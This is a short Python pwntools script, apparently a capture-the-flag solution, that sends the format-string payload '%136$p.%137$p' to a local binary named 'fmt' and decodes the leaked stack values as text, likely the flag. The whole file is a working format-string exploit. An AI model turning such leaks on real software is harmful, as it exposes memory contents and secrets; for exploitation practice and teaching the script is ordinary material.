17 lines
302 B
Python
17 lines
302 B
Python
#!/usr/bin/python3
|
|
|
|
from pwn import *
|
|
|
|
context.binary = target = ELF("./fmt", checksec=False)
|
|
r = process()
|
|
|
|
# funcs
|
|
s = lambda a: r.sendline(a)
|
|
|
|
# leak
|
|
s(b"%136$p.%137$p")
|
|
r.recvuntil(b"Here: ")
|
|
out = "".join([unhex(a[2:])[::-1].decode() for a in r.recvlineS().split(".")])
|
|
print(out)
|
|
|
|
r.interactive() |